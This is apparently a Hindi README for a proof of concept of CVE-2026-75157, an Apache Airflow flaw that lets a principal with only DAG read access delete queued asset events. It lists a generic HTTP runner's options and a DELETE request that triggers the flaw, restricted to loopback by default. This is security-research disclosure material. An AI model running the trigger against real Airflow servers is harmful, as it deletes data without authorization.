
CVE-2026-75157 के लिए स्टैंडअलोन अधिकृत यूनिवर्सल HTTP PoC
Apache Airflow के queued-events authorization flaw के लिए अधिकृत सुरक्षा शोध PoC, जो 3.3.2 से पहले के संस्करणों में मौजूद है।
इसे केवल उस Airflow instance के विरुद्ध चलाएँ जिसका आप स्वामी हों या जिसका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया हो। डिफ़ॉल्ट runner non-loopback targets को अस्वीकार करता है। इस repository में कोई scanning, target enumeration, persistence, credential theft, या destructive payload logic नहीं है।
README.md
poc.py
poc.py एक universal, target-aware HTTP request runner है। यह host को hard-code करने के बजाय target URL, method, path, headers, body, authentication source, और expected result को command line से स्वीकार करता है।
स्थानीय Airflow lab के विरुद्ध health check:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
पहले से तैयार स्थानीय vulnerable Airflow instance के विरुद्ध CVE trigger:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
Token उस disposable principal का होना चाहिए जिसके पास DAG read access और Assets delete access हो। अपेक्षित vulnerable व्यवहार यह है कि restricted principal queued-event को delete कर सकता है। Airflow 3.3.2 या बाद का संस्करण उसी request को अस्वीकार करना चाहिए, जब तक कि principal के पास DAG edit access भी न हो।
--target URL Required absolute HTTP(S) target
--path PATH Optional path joined to --target
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Repeatable request header
--bearer-env ENV Read a bearer token from ENV without printing it
--json JSON JSON request body
--body-file FILE Raw request body
--expect-status STATUS Repeatable expected status assertion
--expect-body TEXT Repeatable response-body assertion
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Explicit opt-in for an authorized non-lab target
Runner passing assertion के लिए exit code 0, scope/transport/argument errors के लिए 1, और HTTP assertion failure के लिए 2 लौटाता है। Output में Authorization और cookie values redact की जाती हैं।
Airflow 3.3.2 से पहले, queued-events DELETE routes DAG axis को edit permission के बजाय read permission के साथ जाँचते थे। Fix DAG authorization requirement को write-level permission में बदल देता है। यह PoC वास्तविक HTTP request भेजता है; यह lab user या database fixture नहीं बनाता।